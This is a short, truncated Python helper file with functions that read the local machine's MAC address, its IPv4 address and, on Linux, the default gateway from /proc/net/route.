FILE: macOS&&LinuxPlatform/tools.py
================================================
# coding = utf-8
import os
import re
import socket
import struct
import uuid
from platform import system
def get_mac_address():
mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
return ":".join([mac[e:e + 2] for e in range(0, 11, 2)])
def get_ip_v4():
my_name = socket.getfqdn(socket.gethostname())
my_addr = socket.gethostbyname(my_name)
return my_addr
def get_gate_way():
if system() == 'Linux':
with open("/proc/net/route") as fh:
for line in fh:
fields = line.strip().split()
if fields[1] != '00000000' or not int(fields[3], 16) & 2:
continue
return socket.inet_ntoa(struct.pack("